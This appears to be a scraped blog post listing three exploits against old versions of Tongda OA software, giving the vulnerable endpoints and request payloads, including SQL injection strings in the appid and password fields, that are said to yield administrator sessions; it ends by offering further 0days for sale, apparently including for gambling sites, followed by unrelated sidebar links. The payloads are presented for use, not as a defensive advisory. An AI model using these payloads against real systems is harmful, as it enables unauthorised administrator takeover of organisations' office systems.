当前位置:网站首页>Tongda injection 0day
Tongda injection 0day
2022-07-07 07:35:00 【Immortal fish】
Catalog
The old version of Tongda Application :
Loophole 1:
The vulnerability lies in :
/ispirit/login_code_check.php?codeuid=
An attacker can get the administrator session
python Script :
no
Loophole principle : The main reason is that the old version has unauthorized access .
Loophole 2:
Leak location :
pda/appcenter/submenu.php?appid=11+and+pow(999,1)
The loophole is appid There is an injection , You can get the administrator sessions
Loophole 3:
Leak location :
logincheck.php
UNAME=admin&PASSWORD='&encode_type=1
The loophole is password There is an injection , You can get the administrator sessions
more 0day Please subscribe to me ~ In addition, our px send bc Of 0day, You can contact me
边栏推荐
- A concurrent rule verification implementation
- 深度学习花书+机器学习西瓜书电子版我找到了
- Composition API premise
- MySQL service is missing from computer service
- After 95, the CV engineer posted the payroll and made up this. It's really fragrant
- 记一个并发规则验证实现
- [Linux] process control and parent-child processes
- 抽丝剥茧C语言(高阶)数据的储存+练习
- Deep learning Flower Book + machine learning watermelon book electronic version I found
- 计算机服务中缺失MySQL服务
猜你喜欢
Flutter riverpod is comprehensively and deeply analyzed. Why is it officially recommended?
我理想的软件测试人员发展状态
2、 Concurrent and test notes youth training camp notes
Music | cat and mouse -- classic not only plot
Tencent's one-day life
Leetcode-543. Diameter of Binary Tree
IO流 file
$parent (get parent component) and $root (get root component)
一、Go知识查缺补漏+实战课程笔记 | 青训营笔记
Robot technology innovation and practice old version outline
随机推荐
聊聊异步编程的 7 种实现方式
面试官:你都了解哪些开发模型?
弹性布局(一)
考研失败,卷不进大厂,感觉没戏了
Project practice five fitting straight lines to obtain the center line
软件验收测试
Apache AB stress test
What is the difference between TCP and UDP?
Tumor immunotherapy research prosci Lag3 antibody solution
URP - shaders and materials - light shader lit
C language (high-level) data storage + Practice
【leetcode】1020. Number of enclaves
Deep learning Flower Book + machine learning watermelon book electronic version I found
基于Flask搭建个人网站
二、并发、测试笔记 青训营笔记
Unity C function notes
Stockage et pratique des données en langage C (haut niveau)
抽丝剥茧C语言(高阶)指针进阶练习
Jenkins远程构建项目超时的问题
Advanced practice of C language (high level) pointer